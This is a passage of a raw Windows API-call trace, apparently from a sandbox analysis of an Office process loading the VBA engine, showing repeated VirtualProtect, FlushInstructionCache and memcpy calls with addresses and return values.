(_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0099.564] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x693e0000 [0099.564] SetErrorMode (uMode=0x8001) returned 0x8001 [0099.564] GetProcAddress (hModule=0x693e0000, lpProcName=0x2cb) returned 0x695b04b4 [0099.565] GetAsyncKeyState (vKey=3) returned 0 [0099.565] CRetailMalloc_Alloc () returned 0xcb258f8 [0099.566] memcpy (in: _Dst=0xcf94f48, _Src=0x19779c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.566] memcpy (in: _Dst=0xcb25918, _Src=0x197804, _Size=0x18 | out: _Dst=0xcb25918) returned 0xcb25918 [0099.566] CRetailMalloc_Realloc () returned 0xcb258f8 [0099.566] CRetailMalloc_Free () returned 0x1 [0099.566] GetCurrentProcess () returned 0xffffffff [0099.566] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0099.566] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.566] GetCurrentProcess () returned 0xffffffff [0099.566] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0099.566] GetCurrentProcess () returned 0xffffffff [0099.566] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0099.567] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.567] GetCurrentProcess () returned 0xffffffff [0099.567] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0099.567] GetCurrentProcess () returned 0xffffffff [0099.567] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0099.567] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.567] GetCurrentProcess () returned 0xffffffff [0099.568] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0099.568] GetCurrentProcess () returned 0xffffffff [0099.568] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0099.568] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.568] GetCurrentProcess () returned 0xffffffff [0099.568] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0099.568] GetCurrentProcess () returned 0xffffffff [0099.568] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0099.568] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.569] GetCurrentProcess () returned 0xffffffff [0099.569] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0099.569] GetCurrentProcess () returned 0xffffffff [0099.569] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0099.569] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.569] GetCurrentProcess () returned 0xffffffff [0099.569] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0099.569] GetCurrentProcess () returned 0xffffffff [0099.569] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0099.569] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.570] GetCurrentProcess () returned 0xffffffff [0099.570] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0099.570] GetCurrentProcess () returned 0xffffffff [0099.570] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0099.570] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.570] GetCurrentProcess () returned 0xffffffff [0099.570] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0099.570] GetCurrentProcess () returned 0xffffffff [0099.571] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0099.571] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.571] GetCurrentProcess () returned 0xffffffff [0099.571] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0099.571] GetCurrentProcess () returned 0xffffffff [0099.571] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0099.571] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.572] GetCurrentProcess () returned 0xffffffff [0099.572] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0099.572] GetCurrentProcess () returned 0xffffffff [0099.572] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0099.572] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.774] GetCurrentProcess () returned 0xffffffff [0099.774] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0099.774] GetCurrentProcess () returned 0xffffffff [0099.774] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0099.774] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.775] GetCurrentProcess () returned 0xffffffff [0099.775] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0099.775] GetCurrentProcess () returned 0xffffffff [0099.775] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0099.775] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.775] GetCurrentProcess () returned 0xffffffff [0099.775] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0099.776] GetCurrentProcess () returned 0xffffffff [0099.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0099.776] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.776] GetCurrentProcess () returned 0xffffffff [0099.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0099.776] GetCurrentProcess () returned 0xffffffff [0099.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0099.776] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.777] GetCurrentProcess () returned 0xffffffff [0099.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0099.777] GetCurrentProcess () returned 0xffffffff [0099.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0099.777] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.777] GetCurrentProcess () returned 0xffffffff [0099.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0099.777] GetCurrentProcess () returned 0xffffffff [0099.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0099.777] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.778] GetCurrentProcess () returned 0xffffffff [0099.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0099.778] GetCurrentProcess () returned 0xffffffff [0099.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0099.778] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.778] GetCurrentProcess () returned 0xffffffff [0099.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0099.778] GetCurrentProcess () returned 0xffffffff [0099.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0099.778] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.779] GetCurrentProcess () returned 0xffffffff [0099.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0099.779] GetCurrentProcess () returned 0xffffffff [0099.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0099.779] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.779] GetCurrentProcess () returned 0xffffffff [0099.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0099.779] GetCurrentProcess () returned 0xffffffff [0099.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0099.779] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.780] GetCurrentProcess () returned 0xffffffff [0099.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0099.780] GetCurrentProcess () returned 0xffffffff [0099.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0099.780] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.780] GetCurrentProcess () returned 0xffffffff [0099.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0099.780] GetCurrentProcess () returned 0xffffffff [0099.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0099.780] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.781] GetCurrentProcess () returned 0xffffffff [0099.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0099.781] GetCurrentProcess () returned 0xffffffff [0099.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0099.781] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.781] GetCurrentProcess () returned 0xffffffff [0099.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0099.781] GetCurrentProcess () returned 0xffffffff [0099.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0099.781] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.782] GetCurrentProcess () returned 0xffffffff [0099.782] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0099.782] GetCurrentProcess () returned 0xffffffff [0099.782] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0099.782] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.782] GetCurrentProcess () returned 0xffffffff [0099.782] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0099.782] GetCurrentProcess () returned 0xffffffff [0099.782] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0099.782] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.783] GetCurrentProcess () returned 0xffffffff [0099.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0099.783] GetCurrentProcess () returned 0xffffffff [0099.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0099.783] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.783] GetCurrentProcess () returned 0xffffffff [0099.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0099.783] GetCurrentProcess () returned 0xffffffff [0099.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0099.783] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.784] GetCurrentProcess () returned 0xffffffff [0099.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0099.784] GetCurrentProcess () returned 0xffffffff [0099.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0099.784] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.784] GetCurrentProcess () returned 0xffffffff [0099.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0099.784] GetCurrentProcess () returned 0xffffffff [0099.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0099.784] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0099.785] GetCurrentProcess () returned 0xffffffff [0099.785] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0099.786] GetAsyncKeyState (vKey=3) returned 0 [0099.786] GetAsyncKeyState (vKey=3) returned 0 [0099.786] CRetailMalloc_Alloc () returned 0xcb25958 [0099.786] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.786] memcpy (in: _Dst=0xcf95050, _Src=0x197748, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.787] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.787] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.787] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.787] memcpy (in: _Dst=0xcf94f4c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.787] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.787] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.787] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.787] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.787] memcpy (in: _Dst=0xcf94f4c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.788] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.788] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.788] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.788] memcpy (in: _Dst=0xcf94f48, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.788] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.788] CRetailMalloc_Realloc () returned 0xb3c8040 [0099.788] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.788] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.788] memcpy (in: _Dst=0xcf94f48, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.789] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.789] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.789] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.789] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.789] memcpy (in: _Dst=0xcf94f4c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.789] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.789] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.789] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.789] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.789] memcpy (in: _Dst=0xcf94f4c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.790] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.790] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.790] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.790] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.790] memcpy (in: _Dst=0xcf94f4c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.790] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.790] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.792] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.792] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.792] memcpy (in: _Dst=0xcf94f4c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.793] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.793] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.793] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.793] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.793] memcpy (in: _Dst=0xcf94f4c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.793] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.793] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.793] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.794] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.794] memcpy (in: _Dst=0xcf94f4c, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.794] memcpy (in: _Dst=0xcf94f50, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0099.794] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.794] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.794] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.794] memcpy (in: _Dst=0xcf94f48, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.794] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.795] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.795] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.795] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.795] memcpy (in: _Dst=0xcf94f4c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.795] memcpy (in: _Dst=0xcf94f48, _Src=0x197748, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.799] CRetailMalloc_Alloc () returned 0xc8e73a8 [0099.799] memcpy (in: _Dst=0xc8e73a8, _Src=0x0, _Size=0x0 | out: _Dst=0xc8e73a8) returned 0xc8e73a8 [0099.799] memcpy (in: _Dst=0xcb25bf4, _Src=0x1977e4, _Size=0x18 | out: _Dst=0xcb25bf4) returned 0xcb25bf4 [0099.799] memcpy (in: _Dst=0xcb25c36, _Src=0xc8e73a8, _Size=0x2 | out: _Dst=0xcb25c36) returned 0xcb25c36 [0099.799] CRetailMalloc_Realloc () returned 0xcb25958 [0099.799] CRetailMalloc_Free () returned 0x1 [0099.799] CRetailMalloc_Free () returned 0x1 [0099.799] GetCurrentProcess () returned 0xffffffff [0099.799] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0099.799] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.800] GetCurrentProcess () returned 0xffffffff [0099.800] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0099.800] GetCurrentProcess () returned 0xffffffff [0099.800] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0099.800] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.801] GetCurrentProcess () returned 0xffffffff [0099.801] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0099.801] GetCurrentProcess () returned 0xffffffff [0099.801] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0099.801] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.802] GetCurrentProcess () returned 0xffffffff [0099.802] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0099.802] GetCurrentProcess () returned 0xffffffff [0099.802] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0099.802] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.802] GetCurrentProcess () returned 0xffffffff [0099.802] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0099.802] GetCurrentProcess () returned 0xffffffff [0099.803] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0099.803] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.803] GetCurrentProcess () returned 0xffffffff [0099.803] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0099.803] GetCurrentProcess () returned 0xffffffff [0099.803] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0099.803] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.804] GetCurrentProcess () returned 0xffffffff [0099.804] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0099.804] GetCurrentProcess () returned 0xffffffff [0099.804] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0099.804] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0099.804] GetCurrentProcess () returned 